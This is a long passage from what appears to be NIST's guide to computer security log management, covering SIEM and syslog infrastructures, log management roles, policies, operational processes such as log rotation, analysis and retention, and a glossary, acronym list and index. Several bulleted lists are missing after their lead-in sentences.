Unlike syslog-based infrastructures, which are based on a single standard, security information and event management (SIEM) software primarily uses proprietary data formats. SIEM products have centralized servers that perform log analysis and database servers for log storage. Most SIEM products require agents to be installed on each log generating host; the agents perform filtering, aggregation, and normalization for a particular type of log. The agents are also responsible for transferring log data from the individual hosts to a centralized SIEM server on a real-time or near-real-time basis. Other SIEM products are agentless and rely on an SIEM server to pull data from the logging hosts and perform the functions that agents normally perform.

SIEM products usually support several dozen types of log sources, including generic formats such as syslog. Because the SIEM products typically understand the meaning of each logged field for specific log source formats, an SIEM-based log management infrastructure is usually superior to a syslog-based infrastructure in performing normalization, analysis, and correlation of log data from multiple log sources. SIEM products can analyze data from many sources, identify significant events, and initiate automated responses if desired. SIEM products may also include analysis GUIs, security knowledge bases, incident tracking and reporting capabilities, and asset information storage and correlation capabilities. SIEM products also usually offer capabilities to protect the confidentiality, integrity, and availability of log data.

Although SIEM software typically offers more robust and broad log management capabilities than syslog, SIEM software is usually much more complicated and expensive to deploy than a centralized syslog implementation. Also, SIEM software is often more resource-intensive for individual hosts than syslog because of the processing that agents perform.

In addition to syslog and SIEM software, there are several other types of software that may be helpful for log management. Host-based intrusion detection systems (IDS) monitor the characteristics of a host and the events occurring within it, which might include OS, security software, and application logs. Host-based IDS products are often part of a log management infrastructure, but they cannot take the place of syslog and SIEM software. Other utilities that are helpful for log management include visualization tools, log rotation utilities, and log conversion utilities.

To establish and maintain successful log management infrastructures, an organization should perform significant planning and other preparatory actions for performing log management. This is important for creating consistent, reliable, and efficient log management practices that meet the organization’s needs and requirements and also provide additional value for the organization. This section describes the definition of log management roles and responsibilities, the creation of feasible logging policies, and the design of log management infrastructures. Section 5 describes the operational aspects of log management.

As part of the log management planning process, an organization should define the roles and responsibilities of individuals and teams who are expected to be involved in log management. Teams and individual roles often involved in log management include the following:

Organizations need to give particular consideration to the assignment of operational log management duties. Some organizations, especially those with highly managed environments, may choose to perform all log management centrally instead of at the individual system level. However, in most organizations, log management is not so centralized. Typically, system, network, and security administrators are responsible for managing logging on their systems, performing regular analysis of their log data, documenting and reporting the results of their log management activities, and ensuring that log data is provided to the log management infrastructure in accordance with the organization’s policies.

Additionally, some of the organization’s security administrators act as log management infrastructure administrators, with responsibilities such as the following:

Another key responsibility of many log management infrastructure administrators is verifying the work of system-level administrators. When deciding how to divide log management duties, organizations might want to consider separation of duties and accountability. For example, having someone other than a system administrator review the logs for a particular system helps to provide accountability for the system administrator’s actions, including confirming that logging is enabled. Separation of duties considerations can have a significant impact on an organization’s logging policies, the resources necessary to support logging, and the design of log management infrastructures, should there be a desire to have large volumes of log data forwarded to log servers for independent reviews.

Organizations need to determine how much analysis should be done by system-level administrators and how much by the log management infrastructure administrators. Generally, at least some analysis should be performed at the system level because the system’s administrators can often provide context for events recorded in the log data. For example, if a log shows that a system rebooted three times in an hour, an infrastructure administrator might not be able to determine why that occurred from reviewing other log entries, but a local administrator would know that the system was being patched at that time and that the reboots were intentional. Another reason for performing system-level analysis is that local administrators might have different interests than infrastructure administrators, such as identifying operational problems and other non-security concerns. Also, there are often far too many events for infrastructure administrators to review them all, and too much data to transfer across networks to the log management infrastructure. Performing analysis at the system level is also helpful to administrators in gaining a better understanding of each system’s characteristics so that they can fine-tune logging configurations.

Performing some analysis at the infrastructure level is particularly helpful in a few ways. It is much more likely to be performed in near-real-time than system-level analysis; this supports more rapid responses to serious security events and helps to minimize the impact of security incidents. Typically, the log data most likely to record important events should be analyzed on an ongoing basis, consistent with the monitoring of other key centralized security controls such as network intrusion detection systems, antivirus software, and network firewalls.⁴⁰ Also, analysis at the infrastructure level can find patterns of events across multiple systems, such as coordinated or widespread attacks (e.g., malware, distributed denial of service), and attacks that go between the organization’s systems. Another reason, as mentioned earlier, is the separation of duties between system-level administrators and infrastructure administrators.

In general, when determining how to divide analysis responsibilities, organizations should focus on the relative importance of different types of entries and the context necessary to understand each log entry’s true meaning. Organizations should think carefully about possible sources of context, such as change management information, that infrastructure administrators might be able to use. For entry types that generally do not require context, organizations should consider automating and centralizing the analysis as much as possible. For entry types that do require context, organizations should either rely on system-level administrators or ensure that the necessary context is available to infrastructure administrators through supporting log entries, change management program data, or other sources.

To ensure that log management at the system level is performed effectively throughout the organization, the administrators of those systems need to receive adequate support from the organization. Assuming that the system-level administrators have typical responsibilities, an organization’s support for them should encompass the following actions:

Organizations should also provide similar support for infrastructure administrators, with an emphasis on training and tools.

An organization should define its requirements and goals for performing logging and monitoring logs, as described in Section 2.2. The requirements should include all applicable laws, regulations, and existing organizational policies, such as data retention policies. The goals should be based on balancing the organization’s reduction of risk with the time and resources needed to perform log management functions. The requirements and goals should then be used as the basis for establishing an organization-wide log management capability and prioritizing log management appropriately throughout the enterprise.

Organizations should develop policies that clearly define mandatory requirements and suggested recommendations for several aspects of log management, including the following:⁴¹

An organization’s policies should also address who within an organization can establish and manage log management infrastructures.

Organizations should also ensure that other policies, guidelines, and procedures that have some relationship to logging incorporate and support these log management requirements and recommendations, and also comply with functional and operational requirements. An example is ensuring that software procurement and custom application development activities take log management requirements into consideration.

Table 4-1 provides examples of the types of logging configuration settings to be specified in policies. Organizations should not adopt these values as-is, but instead use them as a starting point for determining

analysis of the log data nearly impossible. Also, the volume of log data being recorded by any source tends to be very dynamic, changing frequently in the short term, and also changing overall in the long term. Logging settings that are reasonable at one time might be infeasible at another, particularly during adverse circumstances.

Recording more data is not necessarily better; generally, organizations should only require logging and analyzing the data that is of greatest importance, and also have non-mandatory recommendations for which other types and sources of data should be logged and analyzed if time and resources permit. Some organizations choose to have all or nearly all log data generated and stored for at least a short period of time in case it is needed; this approach favors security considerations over usability and resource usage. When establishing requirements and recommendations, organizations should be flexible since each host is different and will log different amounts of data than other hosts. Flexibility is also important because the logging behavior of a host may change rapidly due to an upgrade, patch, or configuration change. Organizations should also permit administrators to reconfigure logging temporarily during adverse system or network conditions, such as unsuccessful malware attacks that cause the same type of log entry to be generated many times. These configuration changes should be performed as a last resort and should be as precise as possible. System-level administrators should inform the infrastructure administrators of such configuration changes to ensure that log monitoring and analysis processes are modified if needed.

Organizations should also consider the environments in which systems reside when developing policy. NIST SP 800-70, Security Configuration Checklists Program for IT Products—Guidance for Checklists Users and Developers, identifies several common operational environments.⁵¹ The following describes four of these environments and explains how the characteristics of each environment might impact logging policy. Organizations might consider having separate logging policy provisions for systems in each environment.

After establishing an initial policy and identifying roles and responsibilities, an organization should next design one or more log management infrastructures that effectively support the policy and roles. If the organization already has a log management infrastructure, then the organization should first determine if it can be modified to meet the organization’s needs. If the existing infrastructure is unsuitable, or no such infrastructure exists, then the organization should either identify its infrastructure requirements, evaluate possible solutions, and implement the chosen solution (hardware, software, and possibly network enhancements), or reevaluate its needs and modify its policy. Organizations may wish to create a draft policy, attempt to design a corresponding log management infrastructure, and determine what aspects of the policy make that infeasible. The organization can then revise its policies so that the infrastructure implementation will be less resource-intensive, while ensuring that all legal and regulatory requirements are still met. Because of the complexities of log management, it may take a few cycles of policy modification, infrastructure design, and design assessment to finalize the policy and design.

When designing a log management infrastructure, organizations should consider several factors related to the current and future needs of both the infrastructure and the individual log sources throughout the organization. Major factors include the following:

To establish and maintain successful log management infrastructures, an organization should perform significant planning and other preparatory actions for performing log management. This is important for creating consistent, reliable, and efficient log management practices that meet the organization’s needs and requirements and also provide additional value for the organization.

As part of the log management planning process, an organization should define the roles and responsibilities of individuals and teams who are expected to be involved in log management. System and network administrators are usually responsible for configuring logging on their systems and network devices, analyzing those logs periodically, reporting on the results of log management activities, and performing regular maintenance of the logs and logging software. Security administrators are usually responsible for managing and monitoring the log management infrastructure, configuring logging on security devices, reporting on the results of log management activities, and assisting others with log management. Many others within an organization may also have log management roles, such as incident handlers, application developers, auditors, and management. Assignment of roles and responsibilities should take into account the benefits of performing analysis at the system level and the infrastructure level. System-level administrators need to receive adequate support from the organization, such as training, mechanisms for disseminating information, technical guidance, and log management tools.

An organization should define its requirements and goals for performing logging and monitoring logs. Based on that determination, the organization should then develop policies that clearly define mandatory requirements and suggested recommendations for several aspects of log management, including log generation, transmission, storage, disposal, and analysis. The organization should also ensure that other policies, guidelines, and procedures that have some relationship to logging incorporate and support these log management requirements and recommendations, and also comply with functional and operational requirements. The organization’s policies and procedures should also address legal issues related to logging, such as the preservation of original log files that may be needed as evidence. Organizations should perform periodic reviews of their logging-related policies and update them as needed.

Creating requirements and recommendations for logging needs to be done in conjunction with an analysis of the technology and resources needed to implement and maintain them, their security implications and value, and the regulations and laws to which the organization is subject. Generally, organizations should only require logging and analyzing the data that is of greatest importance, and also have non-mandatory recommendations for which other types of data should be logged and analyzed if time and resources permit. In some cases, organizations choose to have all or nearly all log data generated and stored for at least a short period of time in case it is needed; this approach favors security over usability and resource usage.

After establishing an initial policy and identifying roles and responsibilities, an organization should next design one or more log management infrastructures that effectively support the policy and roles. When designing the infrastructures, organizations should consider the current and future needs of both the infrastructures and the individual log sources throughout the organization. Major factors to consider in the design include the volume of log data to be processed, network bandwidth, online and offline data storage, the security needs for the data, and the time and resources needed for staff to analyze the logs.

System-level and infrastructure administrators should follow standard processes for managing the logs for which they are responsible. This section describes the major operational processes for log management, which are as follows:

This section describes each of these processes and provides guidance on performing them. It also provides a brief discussion of other operational processes that system-level and infrastructure administrators should perform. The section also describes the need to perform regular audits of log management operations. The guidance in this section is based on the assumption that an organization has already designed and deployed one or more log management infrastructures.

System-level administrators need to configure log sources so that they capture the necessary information in the desired format and locations, as well as retain the information for the appropriate period of time. Configuring log sources is often a complex process. First, administrators need to determine which of their hosts and host components must or should participate in the log management infrastructure, based on the organization’s policies. A single log file might contain information from several sources, such as an OS log containing information from the OS itself and several security software programs and applications. Administrators should ascertain which log sources use each log file.⁵²

Next, for each identified log source, administrators need to determine which types of events each log source must or should log, as well as which data characteristics must or should be logged for each type of event.⁵³ The administrator’s ability to configure each log source is dependent on the features offered by that particular type of log source. For example, some log sources offer very granular configuration options, while some offer no granularity at all—logging is simply enabled or disabled, with no control over what is logged. This section discusses log source configuration in three categories: log generation, log storage and disposal, and log security.

Assuming that a log source offers configuration options, it is generally prudent to be conservative when selecting initial logging settings.⁵⁴ A single setting could cause an enormous number of log entries to be recorded, or far too much information to be logged for each event. Excessive logging can cause loss of log data, as well as operational problems such as system slowdowns or even denial of service conditions. System-level administrators need to consider the likely effect of the log source configuration not only on the logging host, but also on other log management infrastructure components—for example, excessive logging can cause significantly more usage of network bandwidth and centralized log storage.

For log source configurations with which administrators are not completely familiar, administrators might choose to test them in a non-production environment before deploying them to any production systems. This is particularly recommended for the most common log sources, log sources on critical hosts, and the most important log sources. Software vendors and other parties may also have information available on the logging capabilities and typical effects of various logging settings, which can be very helpful in determining an initial configuration.⁵⁵

System-level administrators need to determine how each log source should store its data. This should be driven primarily by organizational policies regarding log storage, particularly requirements to forward entries to a log management infrastructure. Once such requirements have been met, administrators typically have significant flexibility regarding other log storage settings. The storage options for log entries are as follows:

Configuring log sources to store entries in the necessary locations, as well as transmit entries to the log management infrastructure, can be tricky. As mentioned at the beginning of Section 5.1, log sources vary greatly in their customizability. Examples are as follows:

Local log rotation is another important part of configuring log sources. System-level and infrastructure administrators should configure all log sources to perform log rotation, preferably both at a regular time (e.g., hourly, daily, weekly) and when a maximum log size is reached (e.g., 1 megabyte [MB], 10 MB, 100 MB).⁵⁷ If a log source does not provide a log rotation capability, an administrator might need to deploy a separate log rotation utility or script for the logs. Some log sources do not lend themselves to third-party log rotation, such as some logs in proprietary formats. In these cases, the log sources typically offer the administrator choices on what to do when the log becomes full, such as the following:

Many of these log sources can also alert administrators when a log is nearly full (generally, a predetermined threshold such as 80 or 90% full), and again when the log is completely full. This can be helpful for any log source, but is most effective for logs that fill slowly—the first warning of the log becoming full may be sent several days before the log is completely full, giving administrators ample time to archive any needed log entries and then clear the log.

Infrastructure and system-level administrators are also responsible for ensuring that old logs are archived for the appropriate length of time and then destroyed when no longer needed, in compliance with the organization’s logging, data retention, and media sanitization policies.⁵⁸ If substantial volumes of logs need to be kept on the system to expedite analysis or for other reasons, administrators might need to acquire additional storage devices (e.g., hard drives) for the archived logs. If old log data still on a system is no longer needed because it is not of importance or has already been archived, it is usually disposed of either by deleting the old log files or by performing log clearing to remove all entries that precede a certain date and time. Many log sources offer log clearing features.

Infrastructure and system-level administrators need to protect the integrity and availability of log data, and often protect its confidentiality as well. Section 5.1.2 describes log storage and archival practices, which support availability. Additional security considerations for securing logs on systems, in storage, and in transit include the following:

Effective analysis of log data is often the most challenging aspect of log management, but is also usually the most important. Although analyzing log data is sometimes perceived by administrators as uninteresting and inefficient (e.g., little value for much effort), having robust log management infrastructures and automating as much of the log analysis process as possible can significantly improve analysis so that it takes less time to perform and produces more valuable results. This section provides recommendations on gaining an understanding of logs and prioritizing log entries, and also compares system-level and infrastructure-level analysis.

The key to performing log analysis is understanding the typical activity associated with each system. Although some log entries are very easy to understand, many are not. The primary reasons for this are as follows:

In some cases, it might not be possible to gain a full understanding of a log entry. For example, a log source might not be capable of recording the supporting data necessary to provide adequate context for an entry. Also, a software vendor might be unable to provide sufficiently detailed information on the meaning of a particular message. Although it is certainly preferable for administrators to understand all log entries, in many cases it is simply not feasible. Also, there may be so many different types of log entries that it is not possible to understand them all fully with the limited resources available.

The most effective way to gain a solid understanding of log data is to review and analyze portions of it regularly (e.g., every day). The goal is to eventually gain an understanding of the baseline of typical log entries, likely encompassing the vast majority of log entries on the system. (Because a few types of entries often comprise a significant percentage of the log entries, this is not as difficult as it may first sound.) Daily log reviews should include those entries that have been deemed most likely to be important, as well as some of the entries that are not yet fully understood. Because it can take considerable effort to understand the significance of most log entries, the initial days, weeks, or even months of performing the log analysis process are the most challenging and time-consuming. Over time, as the baseline of normal activity is broadened and deepened, the daily log reviews should take less time and be more focused on the most important log entries, thus leading to more valuable analysis results.

Another motivation for understanding the log entries is so that the analysis process can be automated as much as possible. By determining which types of log entries are of interest and which are not, administrators can configure automated filtering of the log entries.⁵⁹ This allows events known to be malicious to be recognized and responded to automatically (e.g., alerting administrators, reconfiguring other security controls). Another purpose for filtering is to ensure that the manual analysis performed by administrators is prioritized appropriately. The filtering should be configured so that it presents administrators with a reasonable number of entries for manual analysis. One effective technique is to have two reports: one for the entries thought to be most important, and another for entries that are not yet fully understood. Both reports should be reviewed regularly, but the first report should be treated as a higher priority than the second report. If the review of the second report is not performed frequently, the logging baseline might not be expanded and refined sufficiently.

Prioritizing the analysis of log entries can be challenging. Although some log sources assign their own priorities to each entry, these priorities often use inconsistent scales or ratings (e.g., high/medium/low, 1 to 5, 1 to 10), which makes it challenging to compare priority values. Also, the criteria used by different products to prioritize entries are likely to be based on different sets of requirements, some or all of which might be inconsistent with the organization’s requirements. Accordingly, organizations should consider assigning their own priorities to log entries based on a combination of factors, including the following:

Prioritization might also include the use of correlation to provide context for log entries so that they can be validated. For example, suppose that host-based intrusion detection software monitors an apparent file modification attack on a system. If the host’s OS log contains an auditing entry that indicates the file was modified successfully, and the data from the two log entries is correlated together, it would provide a stronger assurance of a successful attack than either log source would alone, and it would also likely contain more data on the attack than either individual source would have recorded. Another example of using correlation as a factor for prioritization is using information on known vulnerabilities in the organization’s installed operating systems and applications to assign a higher priority to log entries that are related to these vulnerabilities.

Analysis is typically very similar for system-level and infrastructure administrators. The main difference is that for infrastructure administrators, log analysis is often a primary responsibility, whereas for system-level administrators it is often a secondary responsibility, particularly if the infrastructure administrators are reviewing the most important log entries from systems. In such an arrangement, infrastructure administrators typically perform log analysis on an ongoing basis each day, and system-level administrators perform periodic reviews (e.g., daily, weekly) commensurate with the criticality of each system and its information. Also, infrastructure administrators might have access to more sophisticated tools than system-level administrators do because it is cost-prohibitive to have them available for all systems.

Regardless of how much analysis is performed at the infrastructure level, system-level administrators usually need to perform analysis for the following types of entries:

System-level administrators can usually perform their reviews and analysis using a variety of tools and techniques. On some systems, particularly those with many log sources, it is effective to establish a local log infrastructure and store the data from all of the system’s log sources there. On other systems, especially for proprietary log formats, administrators might perform separate analysis of each log source using format-specific log viewers, reduction tools, and other utilities. Another possibility is to export log data to a database and perform queries on the database. Database queries can be an excellent way to filter log data for analysis purposes.⁶⁰ If most of the analysis process can be automated, it might be feasible to create an analysis report each day and present it to the administrator for review. The administrator can perform further investigation as needed of significant events identified by the report.

To perform effective reviews and analysis, system-level and infrastructure administrators should have solid understanding of each of the following from training or hands-on experience:

Organizations often require system-level administrators to report the results of their analysis to infrastructure administrators. This helps to ensure that the system-level administrators are performing log analysis on a regular basis. The information in the reports is also of value to the infrastructure administrators because they can review it and identify patterns of activity that cannot be seen at the individual system level. For example, infrastructure administrators could see that the same attack was attempted on several systems. Infrastructure administrators can also disseminate information learned from analysis reports to the system-level administrators so that they can more easily recognize similar activity on their own systems. Infrastructure administrators should also create reports that summarize the results of their own analysis activity, and possibly also summarize the reports from system-level administrators. Regularly sharing the highlights of reports with management, particularly the problems that were identified and corrected as a result of analysis efforts, demonstrates the benefits of log management to the organization’s management.

During their log analysis, infrastructure and system-level administrators may identify events of significance, such as incidents and operational problems, that necessitate some type of response. When an administrator identifies a likely computer security incident, as defined by the organization’s incident response policies, the administrator should follow the organization’s incident response procedures to ensure that it is addressed appropriately. Examples of computer security incidents include a host being infected by malware and a person gaining unauthorized access to a host. Administrators should perform their own responses to non-incident events, such as minor operational problems (e.g., misconfiguration of host security software). Some organizations require system-level administrators to report incidents and logging-related operational problems to infrastructure administrators so that the infrastructure administrators can better identify additional instances of the same activities and patterns that cannot be seen at the individual system level.

Infrastructure and system-level administrators should also be prepared to assist incident response teams with their efforts. For example, when an incident occurs, affected system-level administrators may be asked to review their systems’ logs for particular signs of malicious activity or to provide copies of their logs to incident handlers for further analysis. Administrators should also be prepared to alter their logging configurations as part of a response. Adverse events such as worms often cause unusually large numbers of events to be logged. This can cause various negative impacts, such as slowing system performance, overwhelming logging processes, and overwriting recent log entries. Analysts may not be able to see other events of significance because their records are hidden among all of the other log entries. Accordingly, administrators may need to reconfigure logging for the short term, long term, or permanently, depending on the source of the log data, to prevent it from overwhelming the system and the logs. Administrators may also need to adjust logging to capture more data as part of a response effort, such as collecting additional information on a particular type of activity. To identify similar incidents, especially in the short term, administrators may need to perform additional log monitoring and analysis, such as more closely examining the types of logging sources that recorded pertinent information on the initial incident.

Administrators typically are responsible for managing the storage of their logs. They should be aware of the organization’s requirements and guidelines for log data storage, so that logs are retained for the required period of time. If log data has already been transferred to the log management infrastructure, system-level administrators might not need to do any long-term storage of log data. If administrators need to store the log data for a retention period, and this period is relatively short (days or weeks), it might be adequate to keep them online and capture them in regular system backups. If the retention period is relatively long (months or years), administrators typically need to do the following:

Administrators are also responsible for ensuring that the archived logs are destroyed properly when the required data retention period has ended. This includes logs stored on systems, regular backups, and archival media. Administrators should follow their organization’s media sanitization policies and procedures when destroying the logs. Examples of how logs might be destroyed include logical destruction (e.g., repeatedly overwriting data with random values) and physical destruction (e.g., shredding media, degaussing hard drives).⁶¹

In addition to the operational processes described earlier in this section, infrastructure and system-level administrators need to provide additional types of support for logging operations. They should perform the following actions regularly:

Organizations should perform testing and validation activities periodically to confirm that the organization’s logging policies, processes, and procedures are being followed properly both at the infrastructure level and the system level throughout the organization. Log management audits can identify deficiencies in policies, procedures, technology, and training that can then be addressed. Audits can also be helpful in identifying effective practices, such as particular configuration or filtering settings, that may be beneficial for use on other systems.

The most common techniques for testing and validating logging are as follows:

Most testing and validation efforts use primarily passive methods. Active methods are often more effective than passive methods because active methods perform actual testing of the logging processes, but active methods are also more resource-intensive. Also, some active methods such as penetration testing could inadvertently disrupt system functionality or create the appearance that a serious computer security incident has occurred, so they should only be used with proper approval from management and with coordination with operational and security staff. In some cases, active methods are used not only to test and validate logging, but also to audit other functions. For example, by using active methods without notifying the log management staff and others involved in daily operations, an auditor could evaluate how effectively the organization performs incident handling in response to suspicious activity (the auditors’ active methods) recorded in logs.

Organizations should conduct periodic audits of the security of the log management infrastructure itself and a representative sampling of the log generators. This should be performed as a risk assessment, taking into account the threats that the hosts at each tier of the log management infrastructure face and the security controls in place to stop those threats. Specific security objectives include the following:

Organizations should also review the design of the log management infrastructure periodically, and implement changes as needed. Possible reasons for altering the design include taking advantage of improvements and enhancements to log management software, handling larger volumes of log data, and addressing a need for stronger security controls. Periodic reviews of log management processes and procedures should also be conducted so that log management continues to be effective at detecting the latest threats in changing environments.

System-level and infrastructure administrators should follow standard processes for managing the logs for which they are responsible. The major operational processes for log management are configuring log sources, performing log analysis, initiating responses to identified events, and managing long-term data storage.

System-level administrators need to configure log sources so that they capture the needed information in the desired format and locations, as well as retain the information for the appropriate period of time. When planning logging configurations, system-level administrators should consider the effect of the configuration not only on the logging host, but also on other log management infrastructure components. System-level administrators also need to configure log sources to perform log rotation, preferably both at a regular time and when a maximum log size is reached. System-level administrators also need to configure systems to act appropriately when a log that cannot be rotated automatically becomes full.

System-level and infrastructure administrators have other responsibilities as well, such as ensuring that old logs are destroyed when no longer needed, in compliance with the organization’s logging, data retention, and media sanitization policies. They also need to protect the confidentiality, integrity, and availability of logs on systems, in storage, and in transit. Another duty is to provide ongoing support for systems’ logging operations, such as monitoring logging status, monitoring log rotation and archival processes, and acquiring, testing, and deploying updates to logging software.

Organizations need to decide how to divide log analysis duties between the system level and the infrastructure level, and then provide adequate support to the administrators so that log management is performed effectively throughout the organization. When determining how to divide analysis responsibilities, organizations should focus on the relative importance of different types of entries and the context necessary to understand each log entry’s true meaning. The key to performing analysis is understanding the typical activity associated with each system. The most effective way to gain this understanding is to review and analyze portions of the log data every day. Daily log entries should include those entries that have been deemed most likely to be important, as well as some of the entries that are not yet fully understood. Understanding typical log entries is also helpful in configuring automated filtering of log entries. To assist in focusing attention on the most important log entries, organizations should consider assigning their own priorities to each log entry based on a combination of several factors.

System-level administrators need to perform analysis of their log data in essentially the same way as infrastructure administrators. System-level administrators usually perform analysis for log entries that are not sent to the infrastructure, as well as entries that cannot be understood without context that is only available at the system level. When administrators performing analysis find an event of significance, they should follow the organization’s incident response procedures to ensure it is addressed appropriately, or perform their own response if it is a non-incident event, such as a minor operational problem. Administrators should be prepared to alter their logging configurations as part of a response, either to prevent an event from overwhelming the system and its logs, or to collect additional information on an event.

Organizations should perform testing and validation activities periodically to confirm that that the organization’s logging policies, processes, and procedures are being followed both at the infrastructure level and the system level throughout the organization. Organizations should also review the design of the log management infrastructure periodically and implement changes as needed. Periodic reviews of log management processes and procedures should also be conducted so that log management continues to be effective at detecting the latest threats in changing environments.

Selected terms used in the Guide to Computer Security Log Management are defined below.

Aggregation: See “Event Aggregation”.

Computer Security Log Management: Log management for computer security log data only.

Correlation: See “Event Correlation”.

Event: Something that occurs within a system or network.

Event Aggregation: The consolidation of similar log entries into a single entry containing a count of the number of occurrences of the event.

Event Correlation: Finding relationships between two or more log entries.

Event Filtering: The suppression of log entries from analysis, reporting, or long-term storage because their characteristics indicate that they are unlikely to contain information of interest.

Event Reduction: Removing unneeded data fields from all log entries to create a new log that is smaller.

Facility: The message type for a syslog message.

Log: A record of the events occurring within an organization’s systems and networks.

Log Analysis: Studying log entries to identify events of interest or suppress log entries for insignificant events.

Log Archival: Retaining logs for an extended period of time, typically on removable media, a storage area network (SAN), or a specialized log archival appliance or server.

Log Clearing: Removing all entries from a log that precede a certain date and time.

Log Compression: Storing a log file in a way that reduces the amount of storage space needed for the file without altering the meaning of its contents.

Log Conversion: Parsing a log in one format and storing its entries in a second format.

Log Entry: An individual record within a log.

Log File Integrity Checking: Comparing the current message digest for a log file to the original message digest to determine if the log file has been modified.

Log Management: The process for generating, transmitting, storing, analyzing, and disposing of log data.

Log Management Infrastructure: The hardware, software, networks, and media used to generate, transmit, store, analyze, and dispose of log data.

Log Normalization: Converting each log data field to a particular data representation and categorizing it consistently.

Log Parsing: Extracting data from a log so that the parsed values can be used as input for another logging process.

Log Preservation: Keeping logs that normally would be discarded, because they contain records of activity of particular interest.

Log Reduction: Removing unneeded entries from a log to create a new log that is smaller.

Log Reporting: Displaying the results of log analysis.

Log Retention: Archiving logs on a regular basis as part of standard operational activities.

Log Rotation: Closing a log file and opening a new log file when the first log file is considered to be complete.

Log Viewing: Displaying log entries in a human-readable format.

Message Digest: A digital signature that uniquely identifies data and has the property that changing a single bit in the data will cause a completely different message digest to be generated.

Normalization: See “Log Normalization”.

Rule-Based Event Correlation: Correlating events by matching multiple log entries from a single source or multiple sources based on logged values, such as timestamps, IP addresses, and event types.

Security Information and Event Management Software: A program that provides centralized logging capabilities for a variety of log types.

Syslog: A protocol that specifies a general log entry format and a log entry transport mechanism.

Selected acronyms used in the Guide to Computer Security Log Management are defined below.

CERT®/CC — CERT® Coordination Center

CIO — Chief Information Officer

CMVP — Cryptographic Module Validation Program

COTS — Commercial Off-the-Shelf

EPS — Events Per Second

FFMIA — Federal Financial Management Improvement Act

FIPS — Federal Information Processing Standard

FISMA — Federal Information Security Management Act

FTP — File Transfer Protocol

GLBA — Gramm-Leach-Bliley Act

GOTS — Government Off-the-Shelf

GRS — General Records Schedule

GUI — Graphical User Interface

HIPAA — Health Insurance Portability and Accountability Act

HTTP — Hypertext Transfer Protocol

IDMEF — Intrusion Detection Message Exchange Format

IDS — Intrusion Detection System

IETF — Internet Engineering Task Force

IP — Internet Protocol

IPsec — Internet Protocol Security

IT — Information Technology

ITL — Information Technology Laboratory

MB — Megabyte

NARA — National Archives and Records Administration

NIST — National Institute of Standards and Technology

NTP — Network Time Protocol

OMB — Office of Management and Budget

OS — Operating System

PCI DSS Payment Card Industry Data Security Standard

RFC — Request for Comments

SAN — Storage Area Network

SEM — Security Event Management

SHA — Secure Hash Algorithm

SIEM — Security Information and Event Management

SIM — Security Information Management

SNMP — Simple Network Management Protocol

SOHO — Small Office/Home Office

SOX — Sarbanes-Oxley Act

SP — Special Publication

SSH — Secure Shell

SSL — Secure Sockets Layer

TCP — Transmission Control Protocol

TLS — Transport Layer Security

UDP — User Datagram Protocol

URL — Uniform Resource Locator

US-CERT — United States Computer Emergency Readiness Team

VLAN — Virtual Local Area Network

VPN — Virtual Private Networking

XML — Extensible Markup Language

This page has been left blank intentionally.

Aggregation. See Event aggregation

Aggregator, 3-1

Antimalware software log, 2-2

Anti-spyware software log, 2-2

Antivirus software log, 2-2

Application log, 2-1, 2-4

Audit log, 2-1

Audit record, 2-4

Authentication server log, 2-2

Collector, 3-1

Computer security log. See Log

Context, 5-5

Correlation. See Event correlation

Data retention policy, 4-7

Entry. See Log entry

Event aggregation, 3-3

Event correlation, 3-4, 3-10

Event filtering, 3-3

Event reduction, 3-4

Event response, 5-8

Federal Financial Management Improvement Act (FFMIA), 4-6

Federal Information Security Management Act of 2002 (FISMA), 2-7

Firewall log, 2-3

Gramm-Leach-Bliley Act (GLBA), 2-7

Health Insurance Portability and Accountability Act of 1996 (HIPAA), 2-7

Intrusion Detection Message Exchange Format (IDMEF), 2-8

Intrusion detection system, 3-10

Intrusion detection system log, 2-2

Intrusion prevention system log, 2-2

Log, 2-1

Log analysis, 2-10, 3-1, 4-2, 4-5, 5-5

Prioritization, 5-6

Reporting, 5-8

Log archival, 3-3, 5-4, 5-9

Log clearing, 3-5

Log compression, 3-4

Log content, 2-8

Log conversion, 3-4

Log conversion utility, 3-11

Log data volume, 2-9

Log disposal, 4-4, 5-4, 5-9

Log entry, 2-1

Log file integrity checking, 3-4

Log format, 2-9, 5-9

Log generation, 2-8, 3-1, 4-4, 5-1

Log management, 2-1

Challenges, 2-8

Duties, 4-1

Environments, 4-8

Motivation, 2-7

Operational processes, 5-1

Policy, 2-10, 4-4, 4-7

Preparation, 4-1

Priority, 2-10

Procedures, 2-10

Roles and responsibilities, 4-1

Standard processes, 4-1

Support, 2-11

Testing and validation, 5-10

Log management infrastructure, 2-10, 3-1, 3-2

Architecture, 3-1

Design, 4-9, 5-11

Log monitoring, 3-1

Log normalization, 3-4

Log parsing, 3-3

Log preservation, 2, 3-3, 4-7

Log protection, 2-9

Log reduction, 3-4

Log reporting, 3-5

Log retention, 3-3

Log rotation, 3-3, 5-3

Log rotation utility, 3-11

Log security, 5-4

Log sources

Configuration, 5-1

Log storage, 2-8, 3-1, 4-4, 5-2, 5-9

Log transmission, 4-4

Log trustworthiness, 2-7

Log usefulness, 2-6

Log viewing, 3-5

Logging network, 3-2

Message digest, 3-4

Network quarantine server log, 2-3

Normalization. See Log Normalization

Operating system log, 2-1, 2-4

Out-of-band, 3-2

Payment Card Industry Data Security Standard (PCI DSS), 2-8

Remote access software log, 2-2

Router log, 2-3

Sarbanes-Oxley Act (SOX) of 2002, 2-8

Security event management (SEM), 3-9

Security information and event management (SIEM) software, 3-9

Security information management (SIM), 3-9

Security software, 2-2

Security software log, 2-1

Syslog, 3-5

Syslog message format, 3-5

Syslog security, 3-7

System event, 2-4

Timestamp, 2-9

Virtual private networking (VPN) log, 2-2

Visualization tool, 3-10

Vulnerability management software log, 2-2

Web proxy log, 2-2